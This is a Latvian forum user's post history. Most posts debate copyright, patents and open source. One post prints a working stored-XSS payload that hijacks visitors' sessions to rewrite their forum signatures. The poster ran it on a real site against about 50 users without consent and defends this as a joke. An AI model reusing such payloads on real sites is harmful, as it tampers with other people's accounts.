Jump to content
php.lv forumi

betons

Reģistrētie lietotāji
  • Posts

    88
  • Joined

  • Last visited

Everything posted by betons

  1. Atļaušos arīdzan piebilst, ka drunk_lizard praktiski visus boot.lv forumā ir nosaucis par absolūtiem ideotiem, bet uz tādu neapvainojas, galma āksts paliek galma āksts. Kas attiecas uz telemundos, tad diemžēl ar šādu pseidonīmu man nav nemazākā sakara. Nu nevar viens cilvēks pārdzīvot aizvainojumu, kuru radīja boot caurums, bet caurumu ta radījāt jūs paši. Es tikai laipni jums parādīju, kur ir caurums, bet tā vietā, lai pateiktu paldies - bans. Bet bans nejau tāpēc, ka tā ir pareizi, bet tāpēc, ka sirdī aizvainojums, niknums, naids. Starp citu, varu iepriecināt tevi, ir vēl 2 tāda paša līmeņa caurumi. Muļķīgi ir turēt 5 dažādus projektus uz viena domeina subdomeiniem. P.S. Starpcitu pavedienā, kuru uzsāku par boot caurumu bootā puse lietotāju izteicās pozitīvi, takā paturi savu personīgo viedokli pie sevis. Neba tu esi visa boot sabiedrība.
  2. Švakas kvalitātes produkti ir gan opensource, gan arī maksas. Bet ir šeit es vairāk skatos no programmētāja viedokļa. Nevis izmantot gatavus produktus individuāli, bet veselu kaudzi gatavu biblotēku un produktu salikt kopā jaunā produktā. Piemēram: Uztaisīt web lapu ar flash video servisu, saliekot gatavus produktus un bibliotēkas ir ļoti viegli, bet iedomājies, ja kādam pašam tas būtu jāuzkodē. Vēl piemēram, izmantojot opensource P2P bibliotēku ir diesgan viegli izveidot p2p programmas, kuras arī strādās apakštīklos, bet pašam to visu saitaisīt gandrīz ir nereāli. Un nejau softu tirgošana ir vienīgais IT iespējamais peļņas avots, vēl ir pakalpojumu nodrošināšana (web maksaas pakalpojumi), reklāma, web veikali, utt. PHP ir zināms pierādījums tam, ka opensource rullē, jo PHP tomēr ir populārākā serveru skriptu valoda un uz tā bāzes ir izveidoti arī daudzi lieli projekti.
  3. Tu tiešām tici, ka autortiesību likumi kalpo tam,lai reāli aizsargātu paša autora tiesības. Lielo mūzikas industrijas peļņu saņem mūzikas ierakstu kompānijas, lielo tehnoloģiju peļņu saņem tehnoloģiju korpurācijas. Nejau īstenie autir no tā ko saņem. Kāda tagad ir mūzika, kino, literatūra? Tīri komercijas gabali, krāšņs iesaiņojums, bez satura. Ja noņemtu autortiesību aizsardzības likumus, tad visās šajās industrijās paliktu tikai tie, kas to var atļauties un vēlas, nevis tie, kas grib nopelnīt. Literatūru tad rakstītu cilvēki, kas savā dzīvē ir daudz sasnieguši un raksta, nevis ar mērķi nopelnīt, bet ar mērķi pateikt ko svarīgu, vērtīgu, nozīmīgu. Tas pat attiecas uz kino un mūziku. Un tikai nevajag domāt, ka atceļot autortiesību likumus programmētāji paliktu bez ēdiena. Celtos tikai kvalitāte. Nebūtu vairs jēgas taisīt sūdus un ar spēcīga mārketinga palīdzību to pārdot. Bez tam nepublisko sektoru, tas nekādi neietekmētu. Nejau es tev tagad pārliecināšu - tas tomēr ir vairāku gadu diskusiju un pārdomu evolūcijas rezultāts. Pēc likumiem nav likumīgi arī slepkavošana, krāpšana, utt., bet tāpēc jau mēs autortiesību pārkāpšanu nesaucam par slepkavošanu vai krāpšanu.
  4. Jā šāda formā man ar bija ienācis prātā uzrakstīt, varbūt tagad bubu sapratīs.
  5. Atkal alojies. Tavos citātos nav rakstīts, kas ir autortiesību pārkāpšana, bet gan kāds sods par kāda veida pārkāpšanu pienākas. Par autortiesību pārkāpšanu jāskatās autortiesību likumā, nevis krimināllikumā http://www.likumi.lv/doc.php?id=5138 Gribu tikai pieminēt, ka pat likumā nevienā vietā neatradīsi, ka autortiesību pārkāpšana būtu nosaukta par zagšanu, tas ir tikai lielo korporāciju iespaidošanas rezultātā izveidojies spriedums. Un atgādinu vēlreiz, ka autortiesību likumu izveidi, ne tikai Latvijā, bet arī daudzās citās valstīs ir lobējušas lielās korporācija.
  6. Tu izliecies? Tāpēc, ka nozogot desu, cietušais zaudē desu - materiālu objektu, bet "pārkāpjot autortiesības" - kopējot informāciju, cietušais nezaudē savu informatīvo objektu. Tu tiešām neesi spējīgs saskatīt principiālu atšķirību? Redzi pat "ļaunajā" autortiesību aizsardzības likumā ir ierakstīts, ka, piemēram ziņas šis likums neaizsargā. Kapēc? Es uzzinu, ko jaunu un gribu, lai šī ziņa pieder man. Bet nekā visi ņem un stāsta šo ziņu pārējiem - pēc tavas izpratnes, tā ir tīrākā zādzība un, ja man redzot, pat laupīšana. Tagad jūti atšķirību. Es (un daudzi citi arī) uzskatu, ka uz nekāda veida publisku informāciju nedrīkst būt nekādas īpašuma tiesības, tas attiecas uz tehnoloģijām, patentiem, mūziku, literāriem darbiem, utt. Pirmkārt jau tev noteikti radīsies aizspriedumi šāda veida filozofijā sakarā ar mūziku un literāriem darbiem. Bet es tev pateikšu vienu. Labākā mūzika vienmēr ir bijusi, nevis tā ,kuras mērķis ir tīri komerciāls, bet tā kur mūziķim tiešām ir talants. Šādos apstākļos komerciālā mūzikas parodija ātri vien izmirs un to aizstās talantīgu mūziķu mūzika. Respektīvi absolūtās vērtībās tirgus apjoms samazināsies, bet mūzikas kopijas tirgošana nav vienīgais, kas veido šo tirgu, ir arī priekšnesumi, koncerti, reklāma. Atlikušo tirgus daļu sadalīs talantīgie mūziķi. Literārajiem darbiem ir līdzīgi, nah vajadzīgi komerciāli literāri gabali, no tiem nav nekāda jēga. Lai raksta, tie, kam ir ko teikt, kas ir ko sasnieguši un var atļauties uzrakstīt. Lai raksta tie, kā vārdos ir vērts klausīties, kā vārdos ir gudrība un vārdiem ir vērtība.
  7. Cik tev reizes skaidrot, ka tie ir divi dažādi jēdzieni, tas, ka tev ieborēts, ka tie ir vien un tas pats nav mana vaina. Piemērs: 1)zādzība. Tiek nozagts ķieģelis. zaglis ieguvis ķieģeli, cietējs zaudējis ķieģeli. 2)autortiesību pārkāpums Tiek nokopēta dziesma. kopētājs ieguvis dziesmu, autors - divi gadījumi: a) zaudējis iespēju pārdod dziesmu kopētājam b) nav zaudējis neko, jo, ja kopētājs nevarētu nokopēt, viņš nepirktu. Drīzāk pat ieguvis, jo kopētājs, tālāk paslavē draugiem cik forša dziesma un tie visi metās un konci. Tā ir principiāla atšķirība: Un, ja atšķirība ir, tad lietas jāsauc atšķirīgi. Tev rodās tāds priekštats, tāpēc, ka nespēj atšķirt zagšanu no autortiesību pārkāpšanas. Bet es apkalvoju, ka nevis zagšana, bet gan neadekvātie autortiesību aizsardzības likumi un patentu likumi kavē cilvēces attīstību. Gribi pateikšu noslēpumu. Attīstība ir dabīgs process - pierādījums evolūcija. Tikai daudzu cilvēku egocentriskās vēlmes bieži vien ir attīstības traucēklis. Piekrītu, ka mantiskajām attiecībām ir jābūt sakartotām. Bet tieši mantiskās vērtības ir tās, kuras nevar kopēt. Informāciju var kopēt. Un mani apgalvojumi attiecas un informācijas lietām, nevis uz materiālām lietām, tāpēc nekāda nesaskaņu šajā jautājumā nav. Tev tā bieži uznāk divas dažādas temas saklonēt vienā un tad izteikt zelta spriedumus? :) :))) Nesmīdini! Tev ir izvēle: 1) Lietot GPL plašo produktu un tehnoloģiju klāstu ar ierobežojumiem, kuri neļauj iznīcināt GPL filozofiju; 2) kodēt visu pašam. Izrādās, ka daudzi un arvien daudzāki izvēlas pirmo, tāpēc, ka tā var ātrāk sasniegt mērķi. Mūsdienu informāciju pakalpojumi paliek arvien komplicētāki un sarežģītāki, bet GPL filozofija tev ļauj viegli un ātri izmantot desmitiem tehnoloģiju, apvienot tās un izveidot savu pakalpojumu. Ja nebūtu GPL, tad informāciju tehnoloģijās lielajām kompānijām būtu pamatīki monopola apstākļi. Piemini manus vārdus - pēc 20 gadiem 95% koda būs atvērts. Protams MS cīnās, uzpērkot daudzu valstu ministrijas, lai mācību programmās būtu MS produkti, bet mūžīgi viņiem tas neizdosies. oki, doki, lai iet 45%, ātrumā izdalīju nodokļus uz algu uz rokas, nevis bruto, bet skaidrs, bubu nevēlas lielāku algu. Bet par valsts medicīnu, tu laikam ņirgājies, vai ne? Tas nav nopietni, ko tu uzrakstīji, bet nu tā jau ir galīgi cita tēma.
  8. Ja runājam nopietni, tad lielākajai daļai, protams runājot par tiem, kas to pamanīja, pat nav nojausmas, ko es izdarīju. Ja runājam starp tiem, kas saprot, tad bija gan tādi, kas teica ka pareizi izdarīji, gan tādi, kas teica, ka nepareizi. Tākā var secināt, ka šāds princips vēl nav izveidojis savu ētisko pamatu. Atvaino, bet man liekas, ka būtu dziļi nepieklājīgi uzsākt diskusiju, un neatbildēt uz jautājumiem. Un par kādu reputāciju tu runā? Par mistiska pseidonīma vai ip adreses reputāciju? Ai, nu cik var liet vienu un to pašu. Ta vismaz izlasi krimināllikuma 243. pantu, tad nerunāsi muļķības. Visiem teikumiem ir "bojāta vai iznīcināta aizsardzības sistēma vai radīts būtisks kaitējums". Aizsardzības sistēma netika ne bojāta, ne iznīcināta, kaitējums arī netika radīts. Filmas mazāk vajag skatīties. Nav tādu ūber tehnoloģiju. Katra tehnoloģija sava pamatā ir elementāra, tikai realizējam tad, kad ir sasniegts attiecīgs tehnoloģiskais un sociālekanomiskais sabiedrības līmenis. Liela daļa mūsdienu tehnoloģiju ir pat izdomātas jau 50 gadus atpakaļ, tikai dēļ materiālu, iekārtu, skaitļošanas jaudu, utt. nesamības nav realizējāmas. Pienāk sabiedrības attīstības līmenis un tehnoloģija paliek elementāri realizējama. Bet, ja tu izdomā dažādus uz egocentrismu vērstus piemērus, tad es arī tādus varu izdomāt: Ja tu pelni algu, no kuras noņem 70% nodokļos, neticu, ka tu negribētu paturēt šos 70% sev. Atortiesību pārkāpšana ir autortiesību pārkāpšana, zagšana ir zagšana. Nevar dažādas principiāli atšķirīgas darbības: autortiesību pārkāpšanu un zagšanu, abas saukt par sagšanu. Tāpat, ka lietotāja izdzēšana no foruma nav slepkavība. Un pēc mana pēdējā apgalvojumu saceri aprakstu pr to, ka es esmu slepkava. Autortiesība nav zagšana, bet tas nenozīmē, ka nav jāievēro autortiesību aizsargājoši likumi, to nekad neesmu apgalvojis. Tomēr šos likumus ir sastādījuši cilvēki nesenā pagātnē, ar nevisai spēcīgu izpratni par sīs lietas būtību un protams lobējot tādus gigantus kā MS. Zinu, ka MS arī tur ir savi nopelni. Bet likumi ir viena lieta, bet realitāte ir cita. Ir cilvēki, kuri šos likumus uzskata par nepareiziem un vismaz datortehnoloģiju jomā izdomājuši elegantu apkārtceļu. Piemēram, GPL licence. Pat daudzas lielās kompānijas saprot, ka šāda pieeja paātrina cilvēces attīstību, respektīvi atvērtā koda sabiedrība attīstās informatīvi-tehnoloģiski ātrāk, nekā slēgtas korporatīvas sabiedrības. Kautvai, google, daudzus savus projektus taisa kā atvērtā koda projektus. Bet tādu kompāniju ir vēl ļoti daudz. Un tas ir neapgāžāms eksperimentāls pierādījums tam, ka tehnoloģiski atvērta un ar autortiesībām un patentiem neirobežota sabiedrība, attīstās ātrāk par slēgtām sabiedrībām. Paliek tikai ētiskais jautājums - kādu ētiku izvēlēties: 1) Lielo korpurāciju izdomāto ētiku, kura ir iedzīta daudzu cilvēku prātos caur TV reklāmām ar frāzēm - nezodz, nezodz, nezodz. 2) Vai ētiku, kura praktsiki ir pierādījusi, ka ir spējīga nest cilvēcei attīstību daudz straujāk. Un tikai nevajag teikt, ka 2. variants atstāj programmētāju bez darbu, nu tā nu nebūt nav. Bet tas dod daudz lielākas iespējas, instrumentus, palīgtehnoloģijas, lai programmētāja darbs un tehnoloģiskā attīstību būtu daudz straujāka. Un galu galā, paši tak sēžat uz PHP ?
  9. Jā, tev arī priecīgus Ziemassvētkus un Jauno Gadu. Bet, sū.. ar tiem boota moderātoriem, tāpat man tas boots tērēja laiku. Hmm, vienīgais tagad iespējams es jums šeit kritīšu vairāk uz nerviem, līdz mani nobanosiet :DDDDD Labi, jāiet kaut ko izgudrot.
  10. grūti būs, jo es raktīju lielas, nevis lielās, ar nozīmi liels cilvēku skaits. Bet, ja nu tomēr tu domāji: "lielas sabiedrības", tad īstenība der jebkurš sasniegums. Piemēram, patenti lcd tehnoloģijās, kārtējais patents tiek veidots uz kopēja sabiedrības sasnieguma, jo šīs jaunās iespējas paver ne jau šaurs tehnoloģisk progress, bet gan attīstība simtiem dažādās sasitītās nozarēs: elektronikā, materiālzinātnēs, tiek radītas ar vien precīzākas iekārtas, utt. Respektīvi ar to es gribu pateikt, ka katras jaunas tehnoloģijas apakšā stāv daudzas iepriekšējās tehnoloģijas. Un, ja kāds tagad patentē kādu tehnoloģiju, tad man pat nav vairs iespēju šo tehnoloģiju izgudrot un pilnvērtīgi izmantot, lai gan sabiedrības tehnoloģiskais attīstības līmenis man ļauj to atklāt jau neatkarīgi. Respektīvi, pirmais tehnoloģijas atklājējs iegūst monopolu, bet monopls šo atklājēju padara par pirmo arī turpmākajos atklājumos. Veidojas tāds kā cikls, kurā ir viens uzvarētājs. Tehnoloģiju jomā šis fenomens tiek nodrošināts ar autortiesību un patentu palīdzību, bet šāda parādība ir arī politikā, ekonomikā un citur.
  11. forum - a public meeting or assembly for open discussion Bet, ja nopietni, tev vēl ilgi neizdimināt manus nodomus un mērķus, es pat domāju, ka tev tas nav pa spēkam. Man nevis tur nepatīk, bet man nepatīk daži tur esoši moderi - jūti atšķirību? Un galu galā, kā var nepatik nomainīt 50 lietotājiem parakstu, un tad skatīties, ka sadaļā par doršibas caurumu šie komentē, "baigais hakeris, ieliki produkta aprakstu ar grafiskiem efektiem", bet pēc nopostošanas ierauga savam komentam apakša nesavu parakstu un ātri vien editē savu iepriekš postoto komentāru?
  12. Bet tikai pēc tam, kad 50 lietotājiem būšu nomainījis parakstus, jo savādāk nebūs tāpat, kā boot.lv. EDIT: Labi, ja runa aizgāja par intelektuālo īpašumu, tad došu, tev vielu pārdomām. Ko tev izsaka termins - sabiedrības sasniegumi. Tie ir tehnoloģiskie, sociālie, ekonomiskie sasniegumi, kuru pamatā ir lielas sabiedrības nopelns. Bet, pie mūsu globālās sabiedrības, daudzi, jo daudzi tieši intelektuālie sasniegumi ir sabiedrības sasniegums. Tagad piemērs, divas tehnoloģiju firmas strādā pie jaunas tehnoloģijas vienā sfērā 5 gadus. Viena tehnoloģiju firma izstrādā tehnoloģiju pāris mēnešus ātrāk par otru un patentē - uzliek IP zīmogu. Otra kompānija ir zaudējusi lielus ieguldījumus un lielu darbu, jo paralēli izstrādāj to pašu tehnoloģiju, bet, kad tā bija pabeigta, tad izrādās, ka to vairs nedrīkst izmantot. Kā tas varēja gadīties? Elementāri, to sauc par sabiedrības sasniegumiem. Sabiedrība ir nonākusi līdz noteiktam tehnoloģiju līmenim daudzās sfērās, lai varētu tikt izstrādāta jauna tehnoloģija. Bet vienmēr ir kāds, kas iet pa priekšu nedaudz parējiem un nogriež ceļu - uzliek IP zīmogu. Tiek izmantoti politiski un ekonomiski rīki, lai sabiedrības sasniegumus padarītu par savējiem un tieši to dara daudzi, kuri atsaucās uz IP.
  13. Tu domā, izmainīt php.lv forumu lietotāju parakstus? Tavai zināšanai ētikas ir dažādas: komunistu ētika, liberāļu ētika, zaļo ētika, kristiešu ētika, kanibālu ētika utt, utjp. Atliek tik izvēlēties, ne?
  14. Bet diemžēl (jums) šo nodarījumu nevar salīdzināt ar nokrāsjumu, drīzāk ar kartiņas "Priecīgus ziemassvētkus" aizlikšanu aiz stiklu tīrītāja, jo nejau kaut grib man izdarīt tie mašīnu īpašnieki, bet gan stāvvietas sargs, kuram tas laikam izraisījis dziļi personīgu aizvainojumu. Kur tas rakstīts, ka ir tikai divi varianti. Gribi pateikšu trešo: Paziņo to publiski tādā vietā, kur autori to uzreiz redz un tiem ir iespēja nekavējoties salabot to, pie reizes izspēlējot nelielu joku. Nu nav tas nekāds ūber biznesa portāls un nekādu ļaunu nodarījumu šis ziemassvētku joks neveica. Es nesaprotu vienu, jums cilvēki, tiešām ir tik švaka humora izjūta, dzīve nomocījusi? A par šito, netēlo gudrīti. Jautājums nav par to vai patīk, vai nepatīk, bet par to, ja nepatīk, tad nav izvēles. A, ja man nepatīk lielveikalu garās rindas, kā tu man Rīgā ieteiktu nopirkt pārtiku? Samierinies, pats gan jau nedēļā pāris reizes nīksti lielveikala rindā. patīk nīkt rindā? nepatīk? A, ko tad ej uz veikalu? A, nodokļus tev patīk maksāt? Hm,ka 70% no tavas aldziņas paņem nodokļos? Nepatīk? A, ko tad saņem algu, ja nepatīk? Un tu esi no tiem, kas paši neko savā dzīvē neizlemj, jo viss jau ir uzrakstīts wikipēdijā, atliek tik iezubrīt un dzīot? Kamēr vien tu grozīsi manus vārdus, es grozīšu tavus.
  15. bubu, a ja tev nepatiks Rimi un Maxima, tu arī neiesi tur pirkt pārtiku? Bez tam man nepatīk atsevišķi boot administrācijas tipi, nevis pārējie apmeklētāji. Un salīdzinājums ar mašīnu nevietā, tu tāpat kā daudzi jauc materiālās un informātīvās pasaules terminus. Nevar tik vienkārši salīdzināt informatīvo un materiālo pasauli, kaut vai, tas pats absurds, kad par zagšanu sauc autortiesību pārkāpumus. Divas dažādas lietas. Tāpat arī tavs salīdzinājums materiālajā pasaulē ir krietni atšķirīgs informatīvajā. Bet, ja tu vēlies salīdzinājumus, tad labi: Tika ierakstīts 50 lietotājiem parakstā Priecīgus ziemassvētkus - Tika uzkrāsots uzraksts uz BMW Es tiku nobanots par to - Es tiku nogalināts. Vai tev tādā gadījumā šķiet normāli, ka par krāsošanu uz stikla - priecīgus ziemassvētkus - nogalina?
  16. Jā, ja moderācijas mērķis ir nodrošināt dažu adminu iespēju ņirgāties un apsmiet desmitiem citus foruma lietotājus un katrs mēģinājums teikt, ko pretī (ļoti daudzos gadījumos pamatoti), tiek aplauzts ar banu uz kādu laiku. Nu atvaino, tu varbūt lieto reklāmu bloķēšanas programmas, bet lielākā daļa nezin pat kas tas ir, tāpēc viņis skatās uz šīm reklāmam un viņu uzmanība, apziņas un zemapziņas ietekmēšana, izvēle par labu vienam vai otram pakalpojumam vai produktam ir maksa par foruma lietošanu. Tas, ka tu to neatzīsti, nemaina lietas būtību. Manuprāt veids bija diezgan cilvēcīgs. Bez tam, kam man gribēties viņiem, ko palīdzēt, ja viņi regulāri publiski apvaino un apsaukā desmitiem cilvēku? Bet, dažiem tajā forumā tā slikti ar humora izjūtu, un vēl ziemassvētku laikā. Satraukums par tekstu priecīgus ziemassvētkus. Varēju, tak uztaisīt tārpveidīgu skriptu, kurš no katra skriptam pakļautā lietotāja 20 rakstiem pēc kārtas ieliek komentāru ar linku uz skriptu. Tad, tas nebūtu cilvēcīgi, nemaz nerunājot, ka varēja tak piekļūt foruma administrēšanai. Šis taču bija normāls ziemassvētku joks.
  17. Slavai viņu acīs nav nekādas vērtības. Iedomīgi un uzpūtīgi cilvēki, kuri no ilgās moderēšanas boot.lv sevi jau uzskata par pasaules centriem (ar retiem izņēmumiem).
  18. andrisp, katram savs labumiņš! ;)
  19. Atzīti tu to vai nē, bet tā tiešām ir! Ja ejot pa ielu, tu ieraugi reklāmu, tad tu par to maksā ar savas zemapziņas vai apziņas ietekmēšanu un attiecīgā produkta vai pakalpojuma pirkšanu. Vai arī tiek ietekmēta tava politiskā izvēle. Varbūt tiek ietekmēta tava vērtību sistēma tev par sliktu. Un tikai nevajag teikt, ka tu esi supercietā klints, kuru nekas neietekmē, nu lai jau ar, tomēr 99.9% citus ietekmē un viņi par to maksā. EDIT: P.S. boot.lv foruma postā nebija izskaidrota cauruma būtība, bet tika veikta tikai tā realizācija, lai pievērstu lielāku uzmanību lažai kādu ir pielaiduši boot.lv programmētāji. Ja es to vienkārši pateiktu adminam, tad nebūtu ne silts, ne auksts. Nu, izlabojām un viss. A tikt ta varēja pie adminu sesijām.
  20. Kamēr vien tiek rādīta reklāma, tā lapa nav bez maksas.
  21. Protams, ka pēc, kāda jēga sūtīt pirms? Bet sūtīju viņu forumā, tāpēc viņiem bija reāla iespēja izlabot dažās desmitās minūšu. Citos forumos sūtīju, kad jau bija izlabots. Bet reāli tas bija godīgs darījums, pāris minūtes slavas pret to, ka atklāju viņiem, kur ir drošības caurums. :D Bet šie ņem un nobano pavisam! Ar šādu drošības caurumu, tak varēja tikt klāt adminu sesijām un foruma administrēšanai, un tad arī serverim.
  22. Sveiki! Tātad šodien mani izbanoja no boot.lv. Pat ļaunāk izdzēsa manu kontu! Eh! Tas viss tāpēc, ka centos šiem palīdzēt. Tātad viņu lapā, lietotāju apskati http://www.boot.lv/index.php?pg=15&cat=4 iespēja pievienot savu apskatu un tur ļauj izmantot b, i, u tagus. Bet par brīnumu pie b taga atļauti arī eventi. Tākā boot.lv ziņas un boot.lv/forums forums atrodas uz viena domeina, tad lieta sekojoša uz bold taga onmoseover tiek izveidots ifreims, kurā ielādē lietotāja konta penlei un nomaina lietotāja parakstu uz priecīgi ziemassvētki. Tad boot.lv forumā izveidoju diskusiju par to, ka ir šāds caurums un ka to vajadzētu sataisīt un ieliku linku uz caurumu. Protams kādiem 50 lietotājiem paraksots ielikās: Priecīgus ziemmassvētkus by Bērzs. Nu, tad admini ņēma mani un izdzēsa. Es viņiem palīdzu atklāt drošības caurumu, nevainīgā veidā nodemonstrējot cauruma nozīmību, bet šie tā. Vai tas ir normāli? Kods šeit: <b id="lol" onmouseover="function $(ob){return document.getElementById(ob);} $('lol').onmouseover='';$('top').innerHTML=''; self.timerlol=function(){ $('top').innerHTML+='Priecīgus ziemassvētkus '; setTimeout('timerlol();',100);}; timerlol(); aaa=0; o=document.createElement('iframe'); o.style.width='0px'; o.style.height='0px'; o.src='http://www.boot.lv/forums/index.php?act=UserCP&CODE=22'; document.getElementById('lol').appendChild(o); function onlol(){if (aaa==0) {o.contentDocument.getElementById('postcontent').innerHTML='[size=5]Priecīgus ziemassvētkus[/size] by Bērzs'; o.contentDocument.getElementById('postingform').submit(); aaa=1;}} o.onload=onlol;">Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. </b> P.S. Ja šo lasa kāds boot.lv admins, tad atgrieziet manu kontu, es taču jums palīdzēju.
  23. Ar XML un XSL failiem izdevās palaist dažus piemērus. Bet vai ir iespējams to XSLT definēt tā, lai html visi tagi paliek kādi bija. Respektīvi, lai es varētu rakstīt, kaut kā tā: <html> <body> <h1>Virsraksts</h1> <manstags> <info1>AAAAA</info1> <info2>BBBBB</info2> </manstags> </body> </html> Nu, lai es varētu iekš normāla html dokumenta iespraust ar XSL manis definētus tagus. Tā var?
  24. <div class="c1"> <div class="t1">Info</div> <div class="c2"><img class="img1" src="/img/e1.gif" onclick="clk(1,1);"><img class="img2" src="/img/e2.gif" onclick="clk(1,2);"><img class="img3" src="/img/e3.gif" onclick="clk(1,3);"><img class="img4" src="/img/e4.gif" onclick="clk(1,4);"></div> <div class="c3"><img class="img4" src="/img/f1.gif"><img class="img2" src="/img/f2.gif"><img class="img3" src="/img/f3.gif"><img class="img4" src="/img/f4.gif"></div> <div class="c3"> <div class="c4"> </div> </div> </div> Aptuveni tā, tikai tas ir pamats. Fragments būs vēl smagāks. Atškirības starp 20 šiem fragmentiem ir dažos tekstos un dažādu eventu parametros. Šo fragmentu vajag 20 kopijās vienā lapā.
×
×
  • Create New...